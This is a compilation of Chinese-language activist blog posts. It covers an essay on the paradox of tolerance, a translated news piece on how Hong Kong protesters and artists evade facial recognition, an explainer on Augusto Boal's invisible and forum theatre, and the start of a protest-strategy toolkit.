持，也作为一种借口，让某种欲望找到合理化的理由。因此，有必要分别研究其逻辑部分和社会部分。

一方面，有一个完整的思想流派，它得到了政治人物的支持；另一方面则是任何封闭部落在解释道德和神圣概念时所倾向的动力在思想上的反映。在日常生活中，这种动力所趋向的状态被称为“霍屯督人伦理”，也就是双标 —— 所有属于我们部落的都是好的，所有属于敌对部落的都是坏的。这是一种与个人或社会形成的早期阶段相关联的方法：一种在社会关系中仍然支离破碎的、尚未从个人观念中的 "我"或"我们"中抽象出来的道德。因此，对于成熟的现代日常道德观念来说，它看起来是有问题的（道德虽然因地而异，但总体而言都是一种普遍规范）。为了避免这种情况，霍屯督人的道德伪装成普遍道德。

我们可以试着分解波普尔的论点以理解其结构。

首先，我们需要区分什么是“内容”、什么是“结构”。社会关系的 “内容” 是解释、指代、填充的条件符号；结构是相互影响、支配或从属、欲望、情感的关系。纳粹党旗或红旗、关于传统或自由主义的作用的声明等等，这些都是 “内容”；通过对社区网络进行分析可以检测到的参数，是为 “结构”。

在此基础之上，在 “结构” 层面，你就会看到一个具有某种规范行为的永久性结构，以及一套维持规范并惩罚违反规范行为的监管手段。其 “内容” 可以是所谓的 "传统价值观"，也可以是 "LGBTQ自由"，但每次重复同一个结构都会看到类似的结果。

模式是这样的 —— 某种规范允许一种事物而排斥另一种事物，这种规范受到某些群体利益的影响；为了维持这种规范，惩罚偏离规范的人被认为是必要的；而当背景发生变化，惩罚不再奏效时，就会过渡到另一种新的规范。这里重要的是，“内容” 的改变对 “结构” 并无任何意义；从 “结构” 的意义上讲上述两者是一样的东西。

换句话说，如果您的斗争是在维护而非摧毁一个 “结构”，那么它就不是革命斗争。它只是规范的改变、“内容” 的改变、一个群体对另一个群体的特权的改变、一种排他性价值对另一种排他性价值的改变。

结构与内容的不分，导致 “结构” 在 “内容” 的外部效应的掩盖下毫发无伤；反法西斯斗争最终成为新的结构性法西斯主义的议程；就如您记忆中的 “革命的失败”，事实上那只是 没能革命 的结果。

对内容而非结构的本质意义的信念，导致信任/甚至信仰群体的本质

正确性，而非语境/背景正确性。这并不是、绝不是反抗斗争的必然结果，但这是一种风险，由于很难用语言来描述它，于是没有记录。

规范的意义其实在于“结构”，而不在于“内容”。我们可以说，是的，我们有特殊的自由准则，我们赞成让人们按照自己的意愿去生活，因此，我们需要对那些干扰这一秩序的人施加限制。但要知道，正是这些限制界定了规范。无论我们用什么理由来施加这些限制，以及这些限制是否公平。限制的比例和性质才是新规范的真正“内容”。随着限制措施从 "非政治"的直接暴力转向到更广泛的间接调监管方法，你将看到旧的规范结构得以恢复，尽管其 “内容” 仍然是新的。特权群体会改变，能说和不能说的内容会改变，然而，实际的权力关系并不会改变。

反对法西斯主义的审查制度的论点在结构上被简化为维持永恒的常态化规范的论点：“为了维持任何规范，其违反行为必须以与以往相同的方式受到惩罚”。

我们并不完全同意这种说法。这里可以提出三个论点：

第一：对于任何真正的民主变革来说，改变的都不是 “内容”，而是常态化的 “结构”。通常情况下，它并没有从根本上变得更加自由，而只是略有改变，因此这种转变也许并不总是显而易见的。如您所知，拥有民主言论的苏联之所以没有成为自由的堡垒，是因为它收紧了常态，而不是放松。与此同时，西方国家对 “非常态” 人群态度的软化使得这些国家更接近自由社会。对法西斯分子也是如此。苏联把西方说成是 “法西斯”（就像现代俄罗斯联邦把乌克兰说成是法西斯一样），因为，确确实实，你可以在那里找到法西斯分子的亚文化；但实际上，这恰恰是更大自由的标志，而苏联本身却变成了完全的法西斯，本质性的法西斯，以至于在表面上是找不到这种怪胎的。

第二种反对意见：从长远来看，法西斯主义转向的风险不是由常态化中的弱点造成的，恰恰相反，是由政权的隐蔽镇压造成的。政变的能量总是由群众的挫败感能量所支持；挫败感越强，"自由世界" 在结构上越接近 "法西斯主义"，并与之处于同一水平线上；这就是为什么我们会警告这个后全球化世界的风险。"法西斯主义"越获得支持、"自由世界" 失去稳定的风险就越大。在法西斯主义中，群众不断地寻求解放。上个世纪的独裁政权，从路易·拿破仑到列宁或皮诺切特或毛泽东，都曾呼吁群众反对压迫性的 “资产阶级” 或 “权贵” 中产阶级，结果只是建立了更糟糕的政权。平等主义的红旗之所以受欢迎，是因为在过去的几个世纪里，人们对自由的渴求和对现实生活的不堪忍受助长了它的气焰；今天，我们把它当作邪恶的象征，是因为国家利用了

这面旗帜，汲取了这种能量，并反过来给它喂以毒药，通过偷换“内容”，在“结构”上取代了解放。不知有多少人记得，早期法西斯主义也发生过同样的事。事实上，不幸的是，那些萎缩在墙角的保守派的声称中包含着真相，他们说：他们在反对者身上正确地发现了他们自己的常态化制度的结构复制，只是‘内容’不同。

第三个论点同时也是对波普尔悖论的热爱宣言。事实上，为了使一个体系保持在一定的状态内，有必要在这些状态的边界引入矫正性影响。法西斯主义（结构意义上的法西斯主义）确实需要打击。从某种意义上说，波普尔悖论的支持者是完全正确的，只是，他们并不总是知道该如何正确理解这一悖论。如果对我们来说重要的不是‘内容‘，而是‘结构‘，那么，在常态的边界上采取纠正行动的任务·就·不·是重复一直存在的常态关系，而是通过寻找新的可行形式从“结构”上对其进行修改。也许人们之前遵循的模式根本就没有在这里起作用，而关于复杂性的新想法将颠覆我们之前关于常态化机制及其破坏的想法。自由主义思想认为，允许人们做比以往任何时候允许的更多的事情是可能的，而且如果这个过程组织得当，新的规范性 —— 即系统允许人们做几乎任何事情的能力 —— 将比以往的规范性更具有可持续性，因此不会自发地恢复到只允许少数人做少数事情的 "法西斯" 规范性状态。

以这种方式提出问题开辟了新的视角，也提出了新的问题。"简单地禁止" 所有不同意新规范的人已不再是一种解决方案；我们需要探讨如何让规范成为一种元规范，它可以稳定地纳入以前否定它的制度的不稳定片段；它通过禁止其爆炸性特征来允许任何规范；它只对其施加 "非政治" 和 "非文化" 的限制，以阻止暴力扩张或改变承诺暴力的扩张。例如，预防变得比行动干预更为重要，马克思主义中的冲突 "奥伏赫变"（弃扬/Aufhebung）使社会两极分化和军事对抗的过程降低成本和部分取消成为可能。为了稳定而允许，而不是为了稳定而禁止。"给自由的敌人以自由！"。"资本主义"的确包含这种值得学习的特征 —— 这里所指的绝对不是资本主义那种让一部分人失去影响力从而让另一部分人受益的‘结构‘，而是与之相伴的分散且灵活的包容和常态化体系。

最后澄清一下：

1、从历史上看，"宽容的悖论" 是战后帝国意识形态的一部分。这种意识形态在西方灵活而分散，在东方则略显集中和极权，它执行着意识形态一贯执行的任务：掩盖权力的行使。无政府主义者所熟知的反法西斯是主流意识形态在街头帮派背景下的亚文化折射。显然，当局并不总是支持这种借用。

2、事实上，传统上对暴力的“非政治”限制仍然是政治的，因为它总是一种暴力对另一种暴力的限制。系统的结构在这里也很重要。不同类型的暴力遏制结构是不同的政治选择。

□□

原文

遮住脸部成为当今抗议者的首要目标 - iyouport

护盾（AS）生物识别-眼下最严重的威胁，以及怎么办行动技巧、战术和原理

【2019年12月11日存档】新热点＋老问题＋只描述现象不探讨更有效的解决方案，这就是主流媒体的写作风格。

这是CNN的文章，我们翻译了它；这篇文章足够显示主流媒体只为蹭热点而不打算帮助解决问题的写作方式。

如果您经常以主流媒体为信息来源，不仅难以找到解决方案，并且很容易抑制对相关问题的思考（它会缩窄你的眼界）。

这篇文章借助香港抗议的热点讲述面部识别技术的危险性并没有错，但是文章本身并没有起到帮助的作用，同时，引流能力会超越其他真正能起到帮助作用的文章。

—— 也因此，它在《引流暴政》的价值观中是优秀的，但对于希望获取解决方案的人来说，它没有用。

于是我们添加了很多超链接，您可以从中找到您想要的方案。

尤其不要被这篇文章的主题所误导 —— 面部识别的威胁并不仅仅存在于抗议活动中（或者说并非没有抗议活动就可以无所谓），在日常生活中的每一步被监视都是可怕的、是剥夺人权的，目标是需要能找到一个免于1984的长远方案。

- ○ ■ ■ 在香港金融区一个潮湿的周日晚上，数百名年轻人准备好迎接最新的抗议活动。

有些人戴着轻薄的医用口罩和游泳镜，也有些人戴着厚重的呼吸面罩和防护眼镜。

所有人都覆盖着自己的脸，以保护自己不仅免受警察催泪瓦斯的侵害

—而且还可以掩盖自己的身份。

香港的民主活动人士担心被当局查明身份并被起诉。

自6月大规模示威游行开始以来，已经大约有700人被捕，其中许多人被指“非法集会”。

示威者试图拆除香港50个新安装的所谓“智能灯柱”中的一部分 —— 这些灯柱带有摄像头和传感器 —— 以抗议政府的监控。

随着伪装成所谓的智能城市的大规模监控的普及，类似灯柱和广告牌的监视系统正在全球很多国家铺展。在以下看到部分介绍：

- 《路灯间谍》
- 《为什么要你远离广告牌？》
- 《“智能城市”究竟是个什么鬼？！》

香港政府称，用于追踪空气质量和交通流量等数据的灯柱未配备面部识别软件，“不会侵犯个人隐私”。

但香港的抗议者并不是唯一担心难以保护自己身份的人群。

世界各地的活动家，设计师和艺术家正在发明创造性的方法来避免被发现。

随着国家监视变得更加先进—并且被广泛使用 —— 可穿戴技术被提议作为阻碍监视系统的一种方式。

在以下看到部分信息：

- 《来自中国和美国的政府监视：7个危险的用例》
- 《防数据泄漏、防窃听、隐身……监视自卫设计师产品》
- 《如何抵制自动车牌阅读器？》
- 《香港的抗议活动中再次强调了你的脸如何成为武器》
- 《禁止面部识别可以做到什么、不能做到什么》
- 《遮住一半脸没有用：“面部识别”升级版诞生》
- 《让面部识别失效的思考方式》
- 《如何对抗面部识别技术？》
- 《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》文末部分有隐身的方法。

用技术对战技术

美国设计师佩德罗·奥利维拉（Pedro Oliveira）2013年在巴西本土的抗议活动中目睹了警方的暴行后，开始研究世界各地的政府当局如何部署技术来对付示威者。

在一些国家，使用的手段是断网；在其他国家，则是广泛的审查。

- 附《如何用指标预测互联网中断？一旦断网还可以怎么办？》

为了提高人们抵制当局对抗议者使用的手段的认识，Oliveira和其他设计师创作了一个抗议工具包，作为他们的艺术和设计项目 Backslash 的一部分。

该工具包包括一个“智能”头巾，用于隐藏佩戴者的身份，同时通过计算机生成的图案在抗议者之间传递消息，该图案只能由自定义应用程序读取。

该套件还具有一个可穿戴设备，可以及时提醒示威者注意警察的存在，以及一个模板，可以创建涂鸦“标签” —— 只有应用程序可读 —— 以便在一个地区受到监视时通知抗议者。

但这些工具包不会出售。相反，Oliveira 希望开始就他们认为当局与示威者之间日益增长的权力失衡状态展开对话。

“我们并不认为这些工具应该作为一种解决方案提供给抗议者。我们只是认为重要的是研究和谈论警察的超军事化和所有这些技术被用来对付抗议者的问题，” Oliveira 说。

面部识别技术的进步是示威者和隐私权活动家特别关注的问题。

这项技术大部分仍处于开发阶段，其工作原理是捕捉人脸图像，并将生物识别信息（如面部特征之间的距离）与现有的照片ID数据库相匹配。

在创作项目 CV Dazzle 中，艺术家 Adam Harvey 提出了一些致力于帮助人们躲避监视技术的创造性方法，包括面部修饰和精致的发型。

在他的网站上，他声称应用色调渐变的化妆可以创造虚假的轮廓，模糊人们的面部特征 —— 被称为“anti-face”，正如他所说的那样 —— 使面部识别系统更难收集到可识别一个人的数据。

他还建议不对称地使用化妆，以便抵制面部识别算法。

另外，伦敦的 Zach Blas 在他的项目“面部武器化套件”中使用了来自多个面孔的生物识别数据，发明了“集体面具”。

其中一个面具解决了面部识别软件对肤色的内在偏见，这一直是活动家批评的重点。由于面部识别算法不成比例地过多使用了白人男性的面孔数据，女性和有色人种被错误识别的可能性会明显增加。

由此产生的伪装在机器看来就像是无定形的多彩的斑点，Blas 说这种伪装可以欺骗面部识别技术 —— 在某种程度上，佩戴者甚至不被认定为人类。

但这些不寻常的策略可能会产生自己的问题。就如我们曾经在《让面部识别失效的思考方式》中分析过的，它让你太过显眼了，在人群中格外出众肯定不是一个隐身者想要的效果。

这些隐藏面部的方法很可能会将其他人被“武器化”成为监视的一部分，这意味着，有人会向当局报告任何与众不同的东西 —— 如不寻常的化妆或类似斑点的面具。

就如 Selvaggio 所说的，“这些反监视项目没能真正考虑到监视在人类方面的效应”。

Selvaggio 提出了另一种解决方案（依旧不好）：是他自己脸部的假面具。就像 Blas 的“集体”面具一样，它们可以隐藏佩戴者的真实身份。

但与 Blas 的伪装不同，这类面具将被监视系统作为人脸进行分析，愚弄当局认为一个人同时在多个地方。

真正有效的方法和隐身应有的思考方式可以在上述链接集中找到。

香港的简单解决方案

在香港街头，抗议者选择了现成的解决方案。

“人们倾向于在抗议活动中进行大量尝试，” Gavin Grindon 说，他曾在伦敦维多利亚和阿尔伯特博物馆举办2014年抗议活动展览。

“这通常是简单的解决方案—快速解决方案—这是优雅而有效的解决方案，”Grindon 说。

许多人选择配备护目镜或防毒面具来掩盖自己的身份。“我们需要隐

藏自己，这样就不会担心被监视相机捕捉到”，一位不愿透露姓名的22岁志愿者助手说道。

雨伞也被广泛用于抵制监视摄像机，并防止催泪瓦斯，以及为墙壁上的绘画标语提供遮盖。最近几周，抗议者策略性地使用激光笔来遮挡监视摄像头并分散警察的注意力。

这位22岁的志愿者表示，这些想法是通过在线讨论形成的。

抗议者彼此提供建议，例如穿着相同的服装和在鞋子上贴上标签，以便彼此认识；一些人在护目镜上附有反光带。

使用反光材料逃避监察不只是在香港被探讨。2016年，美国艺术家斯科特城市（Scott Urban）设立了一个 Kickstarter 页面，为他的反监视太阳镜 Reflectacles 提供众筹基金。

眼镜由反射红外光的材料制成，这意味着框架在监控录像中显示为白光闪烁。Urban 表示，由于最近的抗议活动，他的网站因来自香港的点击率飙升而变得火爆。

“我不是在试图兜售一种产品，”Urban 在电话采访中说，“我只是想告诉别人，当你的面孔被用来识别你的身份时，你将在任何公共场所不断被追踪。”

视频：

更广泛的担忧

那么艺术家和设计师提出的想法能跟上不断改进的技术吗？抗议者能否领先于技术发展？

英国索伦特大学研究隐私和数字文化的 Garfield Benjamin 表示，虽然概念在提出时可能有效，但由于技术发展如此迅速，它们很快就会过时。

“这是一场军备竞赛”。

面部识别软件的技术已经变得越来越复杂。

根据卡内基梅隆大学电子与计算机工程和计算机科学教授 Lujo Bauer 的说法，现在有些系统已经可以使用机器学习来模仿人类相互认识的方式。

其他软件使用红外光来创建人脸的3D模型—这是iPhone X上使用的技术。这些示例比简单地测量面部特征之间的距离更先进。

密歇根州立大学计算机科学教授 Anil Jain 表示，目前，世界各地大多使用的是二维面部识别技术，这种技术无法识别深度。政府可能已经可以访问公民照片的大型数据库—例如驾驶执照照片或面部照片—他们可以将这些数据与面部识别数据进行比较，以便识别个人。

据人权观察组织称，在中国大陆，面部识别技术已经产生了寒蝉效应；北京建立了一个大规模监视系统，密切监视维吾尔族和其他少数民族在新疆西部地区的活动。

在美国和英国，当局也已开始使用面部识别来捕捉嫌疑人，甚至当抓不到嫌疑人时，《给你'整容'，以便符合嫌疑人面部特征》。

“我们已经走到这一步了（在美国），这些技术在全国范围内推广，没有透明度，没有指导方针，没有法规，公众对实际技术如何运作知之甚少，”市议员 Ben Ewen 说。

使用面部识别软件的监视依赖于大规模铺设的基础设施；如果没有庞大的摄像头网络捕捉公民的图像，该技术就无法实施。

根据 Comparitech 的最新研究，在全球范围内，这种视频监控正在“崛起”。

消费者技术网站发布的一份报告发现，世界上监视最多的10个城市中有8个在中国。伦敦和亚特兰大跃进了前十名，新加坡、悉尼和德里排名前20。

在香港，监视措施令抗议者感到担忧。示威者试图强行拆除一些智能灯柱，并由此与防暴警察发生了冲突。

其他抗议者担心该市的闭路电视摄像机，尽管香港政府表示该市的闭路电视摄像机“没有配备”自动面部识别（AFR）技术。

但香港抗议者不仅关注被警方逮捕的短期问题。许多人担心未来，因为允许某些自由和自治的 “一国两制” 政策将在2047年到期。

一名20岁的学生抗议者在炎热的抗议期间在阴凉处休息的时候也戴着面罩，即使周围并没有警察。〇

Why protests are becoming increasingly faceless

原文

（1）您知道自己正在和谁说话吗？：被压迫者剧院和隐形剧场 - iyouport

行动技巧、战术和原理

（2020年12月1日存档）这是一个在社交媒体时代可能尤其有趣的反抗策略 ……

> “Don’t ask God to guide your footsteps if you’re not willing to move your feet.”

您正坐在一家挺热闹的餐厅吃饭。邻桌坐着一对同性恋女士带着一个孩子，看起来很温馨。忽然走过来一个男人，指着小孩子说：“这孩子需要一个父亲”。两位同性恋女士一时愣住。

您转过头发现其他桌上的人三三两两地点头表示认同那个男人的说法，这时其中一位同性恋女士站起来说：“我是孩子的父亲”，另一位女士说：“我是孩子的母亲”。

所有人的目光都被吸引过来了。一场辩论由此拉开 …… 它可以非常精彩。

哦不，这可不是普通的街头偶遇，一切都是有目的的安排。只有您其他不知情的食客是观众。

您可以在任何公共场合“遇到”各种有趣的事，它们可以引发许多高难度的议题；吸引那些不知情的人加入每一场辩论，您有机会和人们面对面诠释您的反抗立场和革命思想。

您是否曾经在社交媒体上与人争论却无果？您是否因政治观点差异而难以与亲人沟通？您是否因自己的灵感无人赏识而伤心？您的思想是否被其他垃圾内容所埋没、被社交媒体“影子禁令”扼杀？…… 也许您可以试试换一种方法。

这是一种活动家宣传和动员的有效技巧，它有几十年的历史。尤其是在社交网络时代，您知道，那些“街头轶事”会有多么高的关注度。

📌 隐形剧场是指在公共场所表演的戏剧，它永远不会被承认为戏剧。其目标是使对恶劣现状的反抗和干预尽可能地真实，以便引起围观者自发的反应。

场景必须足够敞亮，让人们可以清除地听到和注意到，但又不能太响亮或太显眼，以至于看起来像是在演戏。它必须能和现实环境完全融合。

旁观者可以也很可能会像参与真实生活一样参与到这个场景中来，因为对他们来说这就是真实的生活。

因此，隐形剧场可以达到大多数其他戏剧所不能达到的效果 —— 消除表演者和观众之间的障碍，创造出非常近距离的冲突情境，让人们重新思考自己的假设，并参与到他们可能会回避的敏感问题中去。

隐形剧场是 Augusto Boal 提出的 “被压迫者剧场” 反抗技术之一，在世界各地的许多不同场合被使用。

2003年，在纽约市，演员扮演游客，大声评论两名戴头巾的穆斯林妇女 (也是演员) 在帝国大厦拍照时造成的 “潜在恐怖主义威胁”。这一幕引发了关于种族定性和 “反恐战争” 的重要对话。

在其他情况下，演员在餐馆和杂货店扮演顾客，声称付不起账单，引发了与收银员和附近顾客 (其中一些也是演员) 关于经济正义问题的对话。

Augusto Boal 从 Freire、Brecht、和 Stanislavski 那里获得灵感，在他的整个职业生涯中，从50年代开始在巴西，后来在阿根廷、秘鲁、厄瓜多尔和军事独裁时期的法国流亡，在实践中发展了 “被压迫者剧场”。

“被压迫者剧场” 是一套戏剧技巧和游戏，旨在激励人们，恢复真正的民主对话，并为活动家预演行动创造空间。它的出发点是，每个人都有能力在自己的生活 “剧场” 中表演；每个人都既是演员又是观众。我们是 “观众演员！” —— 这是 Boal 创造的一个名词。

📌 Boal 指出，当您只是被动的观众时，您就会把采取行动的欲望转移到您所认同的人物身上，然后发现，这种欲望随着冲突在舞台、电影或新闻中的 “解决” 而得到满足。宣泄代替了行动。

这就是自我维稳。

Boal 将这种形式称之为 “资产阶级戏剧”，它的功能是再现精英对世界的看法，以安抚观众。他说，资产阶级戏剧是 “已完成的” 戏剧，资产阶级已经知道世界是什么样子的，所以只需在舞台上把它呈现出来。

而与资产阶级戏剧相反，“人民” 还不知道他们的世界会是什么样子。因此，他们的 “真实” 剧场是未完成的，可以为排练不同的可能结果提供空间。正如 Boal 所写道的，“人们知道这些实验将如何开始，但不知道它们将如何结束 …… 观众从枷锁中解脱出来，最终采取行动，成为主角”。

被压迫者剧场包括多种形式，包括：

形象剧场 —— 邀请演员组成一个由固定姿势展现的舞台剧，以捕捉一个瞬间，戏剧化地表现出压迫性的状况。然后，在各种干预措施的推动下，“画面” 成为批判性反思的源泉。

观众演员会描述出一种理想的解放状态，将此确立为一个目标，从而由现状至此引出一条过渡路线，以帮助人们看清如何推动变革，以达成这个理想。

论坛剧场 —— 这是一个短剧或场景的形式，戏剧化的情境，结局非常压抑，初次演出时观众演员不能满意。

之后再次上演，然而这一次，观众成了 “观众演员”，随时可以大喊 “别动”，亲自上台替换主角，将局势带向不同的完全方向。

戏剧就这样变成了现实世界的反抗行动排练。

立法剧场 —— 将论坛剧场搬到政府，要求 “观众演员” 不仅要在舞台上尝试干预，还要将成功的干预写成立法建议，交给在场的民选官员。

隐形剧场 —— 就是本文开头介绍的那个餐馆场景。是一种伪装成现实的戏剧，在公共场所演出。其目的是打破被动的社会关系，并引发 “观众演员” 之间的批判性对话，他们永远不会知道自己是戏剧的一部分。

2005年6月3日，Augusto Boal 在接受美国公民社会组织 Democracy Now! 采访时说：“演员成了观众的观众，而观众又成了演员，所以虚构和现实是重叠的。”

台湾有被压迫者剧场推展中心，您可以在这个链接中看到台湾反抗者对此的思考和演示。

📌 隐形剧场需要大量的准备和排练。这种形式要求演员保持住角色 —— 任何时候不能拆穿，甚至是在现场朝着意想不到的和具有挑战性的方向发展时，也必须如此。

在其纯粹的形式中，隐形剧场从不让人知道它是戏剧。不像其他被压迫者剧场形式，如游击队剧场、Yes Men 式的恶作剧，或 Improv Everywhere 式的恶作剧那样，它永远不会有最终的 “揭秘” 桥段。围观者应该会把它当作现实来体验，并永远认为它是真实的。

要点 ——

虽然隐形剧场的魅力之一在于它的自发性，但预测突变和排练 “观众演员” 的潜在反应，也是很重要的。

最好的办法是与没有参与创作的人一起测试您设计的场景，看看它能引起什么反应。您的表演只有在观众中产生的反应或思维过程才是最强的。

注意事项 ——

隐形剧场有其重要的伦理和安全方面的考虑，在选择这种策略之前您应该仔细探讨。

演员应演练一系列观察者的反应，包括攻击和虐待，并应准备好接受打击（有时是真实的打击！）。制定一个逃跑计划或求救信号，并提前讨论是否或何时采取何种行动。

一个很漂亮的演示：

此外论坛剧场是 “被压迫者剧场” 框架中另一个常用的工具。简介如上。论坛剧场是一种民主实践，任何人都可以说话，任何人都可以行动。

- 论坛剧的剧本源自参与者过往或当前遭遇的困境（即 议题）
- 论坛剧的剧情必须表现主角（们）面对不正义，多次采取行动反抗却导致不堪的后果
- 剧中每个角色无论在肢体方面（外在）还是在意识方面（内心）上都必须一致且明确
- 主角（们）摆脱困境的办法必须包含犯了一个以上违背基本社

会伦理或政治规范的“错误”

这些错误必须在舞台上被清楚的表现出来，以便激发观众希望自己能够做点什么的意识，尝试改变主角因为一连串错误行为导致的后果 。

📌 观众意识到的第一件事就是，就像生活中一样，如果他们束手旁观，就什么也不会改变。旁观者发现的下一件事情是，只做“某件事”是不够的，行动必须是有战略性的。

您可以回忆去年的香港抗议运动，回想当时中国大陆的旁观者在做些什么。点赞转发吗？写篇文章给香港人鼓劲吗？在私密群组中和朋友们交换消息吗？还是忙着骂身边人“无知”？..... 如果这是一个论坛剧场，您将会看到，台上的压迫和悲惨始终不会结束，因为上述都是袖手旁观，没有行动，更没有战略性。

我们在去年底的访谈中讨论过这个问题，见《与IYP下午茶》。

论坛剧场的目的就是直观地体现出我们对这个问题的分析，帮您看到什么才是真正的“支持”。

在舞台上充当压迫者的人将保持被压迫状态，直到台下有人站出来采取真正有效的行动拯救他们 —— 就像现实生活中一样，停止压迫并不容易。因此，论坛剧场是一种试验不同行动方案的实验室。

主角应该是现场所有或大多数人都能认同的角色，这样当观众介入时，他们就是在排练自己的反抗行动。📌 重点不是展示我们认为其他人应该做什么 —— 这不是建议的戏剧；重点应该是要发现我们自己能做些什么。这点非常重要。

论坛剧场由一个叫做“小丑”的人主持，他在整个过程中与台上台下的表演者进行对话。在一次干预后，小丑可能会问：“这样做有效吗？这是否真实？你能在现实生活中这样做吗？”

这被称为“导戏”：

- 演员们必须有能力用肢体（而不是语言）进行表演；能在没有台词的情况下让观众只用眼睛就可以辨识该角色的身份和对人或事的态度；
- 主角演员的服装和道具必须简单，以便“小丑”可以将主角身上的衣物轻易脱下交给介入演出的观演者穿戴，借此隐喻观演者变成剧中的主角身份。

第一遍演出结束后，小丑问观演者：“这出戏说的是什么？谁的故事？这种情况可能发生吗？”

小丑接着宣布：“这出戏将再演一次”。并对观演者说明，再演一次的目的是寻找和创造改变剧中主角们命运的契机，努力不让悲惨的结局发生。同时说明，如果没人喊停，这出戏将按原剧情进行。也就是说，如果没有真正有效的干预行动出现，就如现实中一样，悲剧将持续下去。

小丑鼓励观演者取代主角采取行动—— 到舞台上，而不是坐在观众席上 —— 尝试任何可能解决困境的办法、策略。

观演者若放弃对抗退下舞台，原主角重返舞台按原剧情继续演出，直到下一位观演者喊停。

“小丑” 是引导演员和观众互动的媒介。他负责说明规则、制造麻烦、挑衅观演者、纠正错误、引发讨论，鼓励参与者不断尝试；或许最终能找到一个替代性的避免遗憾结局的办法。

论坛剧场是在明确界定压迫、被压迫者和压迫者的情况下发展起来的。其创始人 Augusto Boal 当时正生活在军事独裁时期的巴西，整个国家的社会运动都在与严厉的军事镇压作斗争。

从那时起，随着实践者们寻求处理更多不同群体的复杂权力关系，这一技术已经被世界各地的无数其他环境所使用。通常，干预措施会发现多层次的权力，将同时被压迫和压迫他人的角色戏剧化。

📌 论坛剧场是创造性行动主义的有效工具，有助于激发人们的灵感以产生公民反抗的干预措施，并为反抗运动建立共同的战略框架。

最后

「图」

最后一点，也许怎么重复都不为过。反抗运动需要更具战略性和社区主导性。被压迫者剧场提供以艺术为基础的战略制定演练，促进合作和社区主导的参与。还有什么比这更棒的呢？

您也可以试试看。○

1. 行动技巧 (2)

原文

克服挑战的策略：反抗者工具包（1） - iyouport

行动技巧、战术和原理

如果您准备好了行动，您就需要首先尽可能预计到将要发生什么，并作出相应的准备，以便将风险最小化。

我们在 列表-5 中汇总的基本上都是行动主义内容，从自我保护到组织技巧，从维稳镇压战术到反抗者的经验教训。这些内容非常之多，也许您没能完全浏览并记住关键的要点。应读者要求，本文将以一个列表的形式总结一些基本要点，并关联了进一步的详细解释。

建议您点开其中关联的链接以获取相关内容。

我们无法预测中国未来会产生什么样的行动主义项目，于是这个框架是绝大部分行动都会面对的。您可以根据您的具体情况增加策略点。

民间社会组织和抗议运动面临着非常多的挑战，这些挑战阻碍人们进行组织和举行抗议活动以及处理抗议活动后果的能力。这些挑战包括公然禁止抗议活动、抗议活动中经历的暴力镇压、以及逮捕和拘留抗议者。抗议运动需要具有战略性和创造性以克服这些挑战。根据全世界的反抗运动和抗议者以往的经验，有许多策略可以用来尽量减少这些挑战的不利影响。

本文致力于用最简洁的语言帮助高压政策下的反抗者理解这些事，并扩展思路。https://tavaana.org/en/case-studies/year-life-won-serbia-otpor-movement-against-milosevic

打开被封闭的抗议空间

「图」

由于威权化趋势和新专制的崛起，全世界正在有越来越多的国家的公民社会空间（civic space）被封闭，统治阶级禁止特定的公民社会组

织或完全禁止抗议。

然而，抗议是表达对国家和社会状况不满的一个重要方式。它往往是生活在贫困中或在其他方面被边缘化或处于弱势的人们表达异议和发出声音的唯一机制。

禁令使人们难以组织和参与抗议活动，也意味着那些参与抗议的人极有可能被逮捕和遭受警察暴力。

在公民空间封闭的情况下，公民社会组织往往无法举行会议，无法租用办公场所，也很难公开传播他们的信息。

这种情况下您需要想办法打开至少一扇窗。

上图是最近英国的抗议活动召集，对抗一项拟议的法案，该法案基本上将一切抗议活动定性为非法。这里是抗议活动的地图。

1、基层伙伴关系

「图」

比如在阿塞拜疆，和在中国一样，公民空间是被封闭的，抗议运动往往从基层运动开始，游说地方当局解决具体问题。

这些运动一般不会被绝对禁止（可能被干预），因为他们并没有正式的身份，而且他们一般不会通过传统的抗议方式来表达不满，因为他们无法召集到足够多的人来实现这点。

相反，他们利用对当地压力点的了解来表达他们的不满。民间社会组织和有关个人可以通过在社交媒体和网络中传播他们的信息和故事来支持这些草根运动。（此处可参见《信息行动主义》系列教程；此处链接为最后一集内容，其中包含该系列完整列表。）

这些行动可能不会被视为“非法”，因为它们通常不违反限制公民空间的国内法律。但可能会受到干扰，这就是为什么您需要就具体情况考虑是否实名、假名或匿名参与。（相关判断的思考方式在这里看到）

2、合法的创新

「图」

在正式禁止倡导被禁止的事业的地方，可能有合法的方式来传播信息。

例如，在阿塞拜疆，民间社会组织的成员在地方和国家选举中提名其成员竞选政治职务。在竞选中，这些成员能够合法地传播其运动的信息。

这可以在大范围和小范围内发生。进步的信息可以成为正式运动的一部分，随着时间的推移，候选人可能被选为公职人员。候选人有时也会挨家挨户试图说服人们同情或加入民间社会组织和运动。

这是一种改良式的路线，如您所知，我们对此持谨慎态度。因为进入体制不意味着能够改变体制；如果您对抗的系统过于强大，个人更有可能被系统所改变。但并不意味着必须拒绝这种路线。而应该强调的是，它需要和社会运动的加强同时进行，而不是完全寄希望于改良。

当抗议活动被禁止时，将日常生活变成抗议活动将有可能是有效的。日常行为的自发演示可以吸引人们的注意力，表达异议。例如，当纽约市当局在20世纪90年代开始重新执行20世纪20年代的反歌舞表演法、关闭现场音乐场所时，人们组织了舞蹈快闪以示抗议。

- 相关更多原理见《如果抗议是非法的，那就让日常生活成为抗议（一）》

> “当抗议被禁止时，可能有必要将日常生活变成抗议。”

3、群众行动

「图」

有时，危机问题需要大规模的抗议才有希望化解，即使这种行动被国内法律视为非法。

虽然这种所谓的非法行动可能会引起国家的镇压反应，但很明显，如果发生这种抗议，应该以和平方式开启，而且人数众多，以确保其有效性。

在大规模运动中统治阶级不可能逮捕所有的抗议者。这意味着应该选择一个足够统一的问题，以确保尽可能多的人加入抗议活动。

例如，在阿塞拜疆，抗议被禁止，主要的大规模抗议活动是关于军方

的暴政；同样，在苏丹，在前总统奥马尔·巴希尔（Omar Al-Bashir）的镇压和长期独裁统治之后，2019年发生了大规模抗议行动，要求结束军事统治。 在香港，2019年已采取大规模抗议行动，抗议一项允许将香港公民引渡到中国大陆的拟议法律。

举个例子。在对抗新自由主义资本主义造成的灾难和压迫的反抗斗争中，局部地区的污染问题、过度开采的生态危机问题和劳工剥削问题、城市化进程中的强拆问题、严重的不平等和压迫、生活成本急速升高的现状、个人债务的不堪重负等等，这些都可以是动员战略的主题，但是，相比下生活成本问题和个人债务问题，更有可能形成最大规模的反抗运动，因为它们对足够多的人民构成了真实的迫在眉睫的威胁。

